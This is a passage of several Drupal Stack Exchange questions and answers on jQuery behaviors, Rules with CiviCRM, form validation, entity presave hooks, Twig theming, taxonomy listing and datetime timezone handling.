        $('#layer-1').css('transform', 'translate3d(0, ' + -(scrolled * 0.25) + 'px, 0)'); // parallax (25% scroll rate)
    });
});

```

The first line in script.js returns the error in the console. It is the only error I receive.

I checked the page source and confirmed that jQuery is being loaded before script.js at the bottom of the page below the footer.

Can anyone see what I have done wrong here?

# Answer
The Drupal js documentation states

> Note: Since Drupal uses jQuery.noConflict() and only loads JavaScript files when required, to use jQuery and the $ shortcode for jQuery you must include jQuery and Drupal as dependencies in the library definition in your MODULE.libraries.yml and add a wrapper around your function.

You should also use behaviors instead of `document.ready()` which is stated earlier in the above documentation.

> However with Drupal there is an alternate better method \[to `document.ready()`\]; using the functionality of `Drupal.behaviors` and `once()`. If used properly this will ensure that your code runs both on normal page loads and when data is loaded by AJAX (or BigPipe!) - but not jQuery methods like `load()` which should be avoided as Drupal behaviors will fail to load for loading functions other than `ajax()`.

So your snippet should look like:

```
(function ($, Drupal) {
  Drupal.behaviors.myModuleBehavior = {
    attach: function (context, settings) {
      $(window).once().on('load scroll', function () {
        // ...
      });
    }
  };
})(jQuery, Drupal);

```

If your selector is something other than `window`, e.g. a class, you should update it to be something like `$('.my-class', context).once().etc`. Passing context like this ensures that your js only fires if the element exists in the currently being loaded context, i.e. if a small chunk of the page is loaded via ajax context will only contain that small chunk of the page. `.once()` ensures the js will only be added to the element once. It will prevent scenarios where you single click an element but it acts as though you double or triple clicked it. Here is the documentation for .once().
> 6 votes

# Answer
It looks like I had a conflict with another module or something. I was able to resolve this issue by wrapping my code like this.

```
(function ($) {
    $(document).ready(function () {
        $(window).on('load scroll', function () {
            var scrolled = $(this).scrollTop();
            $('#layer-1').css('transform', 'translate3d(0, ' + -(scrolled * 0.25) + 'px, 0)'); // parallax (25% scroll rate)
        });
    });
});

```
> 0 votes

---
Tags: 8, javascript
---


# Question
Title: How to integrate Google Maps from address on node page?
How can I integrate Google-Map from Address on node landing page in Drupal 8?

For address I am using https://www.drupal.org/project/address module.

# Answer
This module connects address with geolocation: https://www.drupal.org/project/geolocation\_address\_link
> -1 votes

---
Tags: 8, google-maps
---


# Question
Title: Why is suggested not to use symlink for sites/all and sites/default?
The status report for Pantheon (Drupal 7) says that sites/all sites/default and sites/default/settings.php is not a symbolic link, and it is considered as best practice. Why?

# Answer
> 2 votes
You'd have to ask Pantheon to be 100% sure (they even did the initial development of the module). However, the warning message in response to a situation where sites/all *is* a symbolic link, is:

> Avoid changing Drupal's site structure; remove the symbolic link and recreate sites/default.

So I think it's safe to assume this is just warning you not to mess with the structure of a Drupal site, which would probably cause problems or unexpected results when updated in future.

---
Tags: 7
---


# Question
Title: Access User Data from external script inside a custom module
The method mentioned at Php Access User Data from external script works for me but only if the script is at the document root. If I move the file into my custom module the user returned is the anonymous user.

So, is there something else to do in order to keep all my files in my module and avoid starting to add custom scripts in the Drupal root folder?

Thanks!

# Answer
The code snippet is bootstrapping Drupal by assuming it's in Drupal's root path (i.e. `require_once 'autoload.php';`) To have it runnable from the module dir, you'll have to alter the *relative path* to make it work from wherever your script is at (e.g. is your module is in `DRUPAL_ROOT . 'modules/custom/my_module/scripts/my_script.php'` you would have use the path `../../../../includes/autoload.php` to reach it).

Depending on what you're doing, you might want to consider a custom Drupal Console/Drush command as a part of your module instead of a PHP script that has to assume/find the location for bootstapping Drupal.
> 0 votes

---
Tags: 8
---


# Question
Title: User added to a specific group should be blocked
I'm trying to accomplish the task -" If the User is added to a specific CiviCRM group manually by admin/'users with permissions to add to group', The added user should be blocked.I'm using Rules module with CiviCRM entities.

Here is my Rules export:

```
{ "rules_block_unblock_user" : {
    "LABEL" : "Block\/unblock user",
    "PLUGIN" : "reaction rule",
    "OWNER" : "rules",
    "REQUIRES" : [ "civicrm_entity", "rules", "civicrm" ],
    "ON" : { "civicrm_group_edit" : [] },
    "IF" : [
      { "civicrm_entity_contact_is_in_group" : {
          "civicrm_contact" : [ "site:current-user:civicrm-contact" ],
          "group_id" : "2"
        }
      }
    ],
    "DO" : [ { "user_block" : { "account" : [ "site:current-user" ] } } ]
  }
}

```

I guess I'm not selecting the right data selectors. Any help?

# Answer
> 0 votes
Not sure which tokens you have available to select from, but the token `site:current-user` refers to the user performing the add to group, i.e. some "admin/'users with permissions to add to group". So your Rules Condition seems to be wrong. Due to which your Rules Action is not performed either of course.

And if the list of available tokens doesn't seem to have any relevant token, it may be because you're using the wrong Rules Event.

---
Tags: rules, civicrm
---


# Question
Title: Add hidden field to checkbox and submit unchecked value
I want to submit a value if a checkbox is unchecked (on a node edit form).

Using theme\_form\_element I can add the hidden field as follows:

$variables\['element'\]\['#children'\] = '$variables\['element'\]\['#name'\] . '" value="0" /\>' . $variables\['element'\]\['#children'\];

But on submit, because value 0 is not in the allowed values list, I get the 'An illegal choice has been detected. Please contact the site administrator.' error message.

How can I bypass this validation and/or submit the value 0 for each unchecked checkbox?

# Answer
> 0 votes
Take a look at the answer to Custom validation for a form? This tells you how to add your own validation handler to the form. You will need to implement the form\_alter like they show to add your custom validation, but also remove the validation that is throwing the error when the value is 0. (You can do this by unsetting that index in the array.) Then, for your custom validation method, my recommendation is to have a validation handler something like:

```
function my_custom_validation(&$form, &$form_state) {
  if ($form_state['values']['my_checkbox_field'] !== 0) {
    // Call the validation handler you removed in your form_alter
    // I might set the name of the method to a variable in form_state
    the_validation_handler_you_removed($form, $form_state);
  }
}

```

where you call the original validation handler from your method if the checkbox value is not the specific value you're looking for, in your case `0`.

---
Tags: 7, forms, hooks
---


title: Setting a field value on node save

text:
# Question
Title: Setting a field value on node save
I have a note type 'team' with a body field and a checkbox field (checked by default). I want to automatically check the box on save IF there is content in the body field. Is there a way to do that programmatically?

# Answer
> 6 votes
Yes, this is possible with hook\_ENTITY\_TYPE\_presave

```
/**
 * Auto check checkbox whatever, etc, etc.
 *
 * Implements hook_ENTITY_TYPE_presave()
 */
function my_module_node_presave($entity) {
  if ($entity->bundle() == 'team') {
    // Check if there is content in the body field.
    if (!empty($entity->body->value)) {
      // Set checkbox field.
      $entity->set('my_checkbox_field', 1);
    }
  }
}

```

Then, you'll probably want to remove the checkbox field from your form display on the Manage Form Display screen and also update the field settings so it's not checked by default since you'll be programmatically checking it if your body field has a value.

---
Tags: 8, nodes, entities
---


# Question
Title: How to render user picture from page.html.twig file
I am using

> node.Owner

To print out things like user name, for instance to print the first name out (which is a custom field) it is simply.

> {{ node.Owner.field\_first.value }}

However if I try to do the same for the user picture I get an error. I have tried

> {{ node.Owner.user\_picture.value }}
>
> {{ node.Owner.user\_picture}}
>
> {{ node.Owner.user\_picture.0.value }}
>
> {{ node.Owner.user\_picture.content }}

None of these work ?

# Answer
You can either do

`{{ node.author_picture.content }}`

or

`{{ content.author_picture }}`
> 1 votes

---
Tags: theming
---


# Question
Title: Listing all terms of a taxonomy in twig template
How can I list all terms of a particular taxonomy in a twig template?

# Answer
Build a view for the list of taxonomy terms and use the module Twig tweak:

```
<dd>{{ drupal_view('view_name', 'page_1') }}</dd>

```
> 4 votes

# Answer
Here is an example using an unlimited cardinality taxonomy reference field (in field\_topic) which creates links to a Search-API view page and pre-selects the 'Topic' facet value with the proper term id:

```
{% for term in node.field_topic %}
    {% set link = "/search?f[0]=topic%3A" ~ term.entity.id %}
    {% set label = term.entity.label %}
    <a href="{{ link }}" class="button-link">{{ label }}</a>
{% endfor %}

```
> 1 votes

---
Tags: theming, 8, taxonomy-terms
---


title: Field type date bad formatting

text:
# Question
Title: Field type date bad formatting
i have a strange issue with a field "date". First i save it programatically this way :

```
$now = new \DateTime();
$node->set('field_paiement_date' => DrupalDateTime::createFromTimestamp($now->getTimestamp());
$node->save();

```

Then when i come on the content type in the back office i've got this value :

And finally when i dump the field in question i got this value :

My current timezone is 'Pacific/Noumea', so the correct value i want to show to the users is the one when i dump the field. What is the best way to do that ?

Regards,

# Answer
Datetime values in storage are UTC, if you are storing datetime values by your own, you have to pay attention on this and display datetimes to users considering your timezone ('Pacific/Noumea' probably declared in your php.ini or user's timezone present in user profile).

Storing `2018-05-02T08:23:25` as your current datetime in caledonia in database is a nonsense considering timezone, because the format `DateTimeItemInterface::DATETIME_STORAGE_FORMAT` do not include timezone.

```
$date = strtotime($node->field_paiement_date->value);
\Drupal::service('date.formatter')
  ->format($date, 'custom', 'Y-m-d H:i:s', drupal_get_user_timezone());
\Drupal::service('date.formatter')
  ->format($date, 'custom', 'Y-m-d H:i:s', 'Pacific/Noumea');

```
> 2 votes

---
Tags: 8, nodes, datetime
---


# Question
Title: How can i edit a content types taxonomy terms trough the front end
I have put the taxonomy terms on the top of the page and i want to add a little cross on each tag to delete that tag (by the users) and also a 'add' button that lets people quickly add a tag to that page.

Does anybody know in which direction i should look? I'm willing to program is but i don't know which hooks i should use or where to put them. I've found pieces of code i could use but nobody ever mentions where to put it.

# Answer
> 0 votes
You could take a look at the flag module (not ready for D8 yet)

https://www.drupal.org/project/flag

https://www.drupal.org/project/issues/search/flag?project\_issue\_followers=&status%5B%5D=Open&issue\_tags\_op=%3D&issue\_tags=beta+blocker

---
Tags: 8, hooks
---